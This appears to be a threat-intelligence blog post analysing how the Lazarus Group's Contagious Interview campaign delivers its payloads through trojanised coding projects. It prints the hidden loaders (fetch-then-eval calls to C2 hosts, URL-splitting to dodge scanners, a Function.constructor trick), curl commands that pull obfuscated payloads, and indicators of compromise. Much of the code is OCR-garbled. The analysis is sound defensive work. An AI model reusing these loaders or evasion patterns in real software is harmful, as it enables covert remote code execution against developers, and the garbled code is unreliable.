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The Contagious Interview campaign conducted by the Lazarus Group continues to expand its capabilities. We
have observed an exponential evolution in the delivery mechanisms for the campaign’s main payloads:

BeaverTail, InvisibleFerret, and OtterCookie.

In this article, we will discuss the innovations related to the delivery techniques used by the group and
demonstrate the preservation of the group’s modus operandi throughout their code’s evolution. To this end, we

analyzed 3 distinct malicious projects that were highly active in campaigns.
Delivery Mechanism 1: Eval Function

ax1ios
.post('http://fashdefi.store:6168/defy/v7"')
.then((res) => 1)
.catch((err) => {
const {
response: {

data: { token },

= arr;
eval(token);
});

Figure 1 — Initial post request to the delivery domain

In one of the projects, the group’s developers created and implemented a code snippet that performs a POST

request to an external address named fashdefi[.]store using port 6168.

After the request, the flow code captures the request’s response, stores it in the token object, and executes the

content using the eval() function.
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curl -XPOST |http://fashdefi.store:6168/defy/v7

{"token":"(function _0x53453(){try{function _0x898764(){const _0x089800=[\"type\",\"release\",\"host\",\"use
n\", \"count\",\"Json\" ,\"ht\",\" :\", A"\, N, N o\, N\ "then\ ", \"catch\",\"sup\", \"@\",\"js\", \"mksjwbqtdd1p
BhYmFzZSI\",\"-\",\"sHkelt4w2YPUY5Sx\",\"ry\",\"fr\",\"sel\",\"upload\",\", \",\"eq\",\"data\",\"length\",\"1
\"tim\",\"year\",\"month\",\"day\",\"week\",\"hour\",\"minute\",\"second\",\"12\",\"As\",\"To\",\"ia\", \"kyo
e\",\"toLo\",\"UzI1INiIsInR5cCI6IkpXVCI9\",\"abase\",\"\", '"QRE15uDocrILKdHLbTLcE6h7uw','teClient', 'leString',"
va311Iiwicm9sZSI6ImFub', 'eZone','ert','24iLCIpYXQi0jE3MzY@ONzE4Njgs', 'ect','om', ' ImV4cCIGMjAIMjAONZE20HO' ]; _0X
764();}(async function _0x843095() {const _0x672347=_0x898764();const _0x252381=require(_0x672347[0x000006] );
nst _0x904359=_0x252381[ 0x672347[0x000001]]();const _0x539847=_0x252381[_ 0x672347[0x000002 ]+ 0x672347[0x0000
1+_0x672347[0x000005]]()[_0x672347[0x000003]+_0x672347[0x000004]];var _0x564545=_0x672347[0x000040] ;var _0x89
000040];var _0x798792=_0x672347[0x000040];await fetch(_0x672347[0x00000c]+_0x672347[0x000045]+_0x672347[0x000
347[0x000007]+_0x672347[0x000005]1[_0x672347[0x00003d]+_0x672347[0x000046]1( )+_0x672347[0x00000f 1+_0x672347[ 0N
x672347[0x000011]1((_0x89474)=> _0x89474[_0x672347[0x00000b11())[_0x672347[0x000011]1( (_0x534556)=> {_0x5645
6[_0x672347[0x000008]]; _0x923080=_0x534556[_0x672347[0x000009]]; _0x798792=_0x534556[_0x672347[0x00000a]+_0x6
> {});const _0x430902=require(_0x672347[0x000014]+_0x672347[0x000013]+_0x672347[0x00003f]1+_0x672347[0x00000¢ ]|
px00001a]+_0x672347[0x000015] ) ; const _0x534989=_0x672347[0x00000c]+_0x672347[0x000045]+_0x672347[0x00000d ]+_|
00016]+ 0x672347[0x00000f]+ 0x672347[0x000013 ]+ 0x672347 5

Figure 2 — Execution of post request by curl command line tool

In this way, the code snippet above located within the catch block prevents the main payload (in this case,
‘invisible ferret”) from needing to be written directly into the project’s main code as observed in projects prior to
the analysis period of this article thereby evading previously created detection mechanisms that relied solely on

direct scanning of the main code.

Delivery Mechanism 2: False Token

“htktps™,
"vercel.app”,
" //",
= aconsy ",
=212
= "cdn-static-server”,
= "l10po";

Figure 3 — Url parts declared into the project separately

In a distinct project, the group implemented new strategies to complicate code analysis by automated tools used

for scanning and detecting malicious code.

In this code snippet, the developers took care to split the entire URL into several parts within the code. The
attackers utilized the legitimate hosting service of the Vercel. App platform as a command and control (C2) server

to deliver the project’s favicon.

or}${s in}.${c

~1, headers: { bearrtoken } };

Figure 3.1 — Constant “url” to concatenate the url and constant “options™ to call the entire request

and headers

These two constants above was developed to add more layers in the flow code for when the request be called in
the function “req” which is stored in another constant named “doing”, have more chances to evade static analysis

tools who rely on pattern matching and some sandbox environments who don’t analyze the code in runtime.
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req

return;

r.statusCode !== 200
return;

try
eval (JSON.parse(b));
catch (err

Figure 3.2 — Constant “doing” who store the function request

Following the code’s construction flow, the “doing” constant, when called, will execute the entire request

operation. In the end, within the try/catch block, it uses the eval() function to receive the malicious code below:

curl -H “bearrtoken: logo" "https://cdn-static-server.vercel.app/icons/212"/-s | jq .
‘{{Tunction(_©x30Te//, _6x3Z2bld3)iconst _@x36860e=_0x3 /() ;Tunctlion _@x3749c3(_0x4d58d4,
0x2T8b4c){return _0x4482(_0x3e372c- -0xT,_@x1f7713);twhile(!![]){try{const _0x4906b5=-pars
a5+-0x17d6+0x7+0x55b)*(parseInt(_0@x3749c3(0x2T1,0x33T,0x225,0x27a) )/ (-0x1021+-8x553+0x44b*0
7,0x325) ) /(@x3*0xbf+-0x34*0x17+0x274)*(-parseInt(_0xldfcle(0x12d,0x102,0x126,0x1a7))/(0x24
189, 0x1df,0x167) ) /(-0x1TTc+-0x128b+0x739*0x7) ) +parseInt(_0x3749c3(0x44d,0x452,0x38T,0x390) )
seInt(_0xldfcle(@0x147,0x14b,0x16c,0x1c4))/(=0x1521+-0x1+-0x1352+@x2+-0x1+-0x118e)*(-parseln
0x36860e['shift']());}catch(_0x18643d){_0x3686@0e[’'push'](_0x36860e['shift']());}}}(_ox44ae
20-C\\x20"', '4038140 al/Goog', 'soft/Edge/", 'QulYZ', 'acmacodkjb', 'LCPil’', ‘qwzBc"',"
‘constructo', 'Svats FHWpP', 'XSDPZ', 'lKctX', 'ejbalbakop', 'prototype','jwYzA','/.npl', 'ync'

AN ' 'uwdlla' 'hMKRN' 'Hdinwvue! '"1ATARNIIITaFa' 'farmfata! '/ ranfin/fce! "vNaATu! *+RLETA Y 'mualt+di £

Figure 4 — Post request adding token “logo” to receive the encoded payload

By using a sandbox platform, we verified the content delivered when the “bearrtoken: logo” is omitted from the

request, confirming that a favicon is indeed served for the malicious project.
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Figure 5 — Accessing the C2 without proper token delivery the favicon of the malicious project

Based on this information, we pivoted using the favicon and identified the reuse of the image across several prior

projects attributed to the North Korean group and the contagious interview campaign.
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2024-11-14 0 Coinpromoting-app-frontend-main.zip
2025-01-16 3 Archive.zip
2024-11-28 ] f_86267329039b9cb3.rar

2024-11-29 1 promoting-webapp-reactl7.zip

2024-12-05 Token_voting_website-main.zip

2025-03-19 file.zip

2025-03-19 coin-locator.zip

2025-01-17 coinworldhub-coin-locator-demo-f6418f05c278.zip
2025-01-17 ] CoinLocator-main.zip

2025-01-17 ] CoinlLocator-main.zip

2025-01-17 3 CoinLocatorTest-main.zip

2025-03-19 1 stacking-dapp-frontend-main.zip

2025-03-14 project-main.zip

Figure 6 — Hunting other projects using the same favicon

Delivery Mechanism 3: Try/Catch

The third technique we observed demonstrates a continuous process of innovation based on elements present in
previous projects. In this approach, the group utilized a much more precise design with low detection rates up to
the time of this article, preserving their tactic of splitting the communication address for payload delivery to allow
for subsequent URL concatenation (Delivery Mechanism 2) and using the axios library to make the request

(Delivery Mechanism 1), modifying it to the GET method.

“"chainlink-api-v3.cloud";
"service"
"token"
"56e15ef3b5e5f169fcB63T8d3e88288e"

(&)

axios.get{ http://${
rpcNodé = Fés.data
}).catch(error=>{
errorHandler(error.response.data)

Figure 7 — Using the same tactic demonstrated in images 3 and 4, to bypass pattern-matching tools

As we saw in the other projects, we could expect the use of an eval() function somewhere in the code to receive

and execute the main attack payload, however, on this project they implemented a curious approach.
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createHandler = (errCode
try {
nction.constructor)('require’, ErpCode) ;
return

} catch (e) {
console.error('Failed: ', e.message);
return null;

Figure 7.1 — Using same tactic demonstrated in image 5, creating a constant and storing a malicious

function

The developers astutely replaced the need for use an eval() function with a code block programmed to return a 500
error from the API communication. Subsequently, it receives the malicious code within the Try/Catch block,

utilizing the errorHandler() function demonstrated above.

So What?

All the implemented innovations highlight the group’s focal point for improvements; the logic in constructing the

code snippets for delivering payloads remained the same.

However, the increase in innovations over a short period of time, some syntax errors present in the code, and the
lack of review for these bugs suggest the constant use of artificial intelligence (AI) technologies to automate code
creation. This raises significant concerns for defense mechanisms that rely only on direct code detection and

pattern matching.

Therefore, we can state with high confidence that in the coming months, we will see new approaches being
developed to further reduce the traces left in project codes. There will be a strong focus on continuous
improvement in the campaign’s delivery phase, demanding greater robustness in previously developed detection

rules.
Indicators of Compromise (IOCs):

Urls:

https[:]//cdn-static-server[.]vercel[.]Japp/icons/212 http[:]//fashdefi[.]store[:]6168/defy/v7 http[:
http[:]//chainlink-api-v3[.]cloud/api/service/token/56e15ef3b5e5f169fc063f8d3e88288e

Project name:

CoinlLocator-main
coin-promoting-app-main
0xhpenvynb-mvp_gamba-6b10f2e9dd85
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1P:

144.172.96[.135
107.189.24[.]860
135.181.123[. 1177

Favicon Hash:

41ee7ddb2be173686dc3a73a49b4e93bc883ef363acca/70f7ede891451122ab

Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant Updates.
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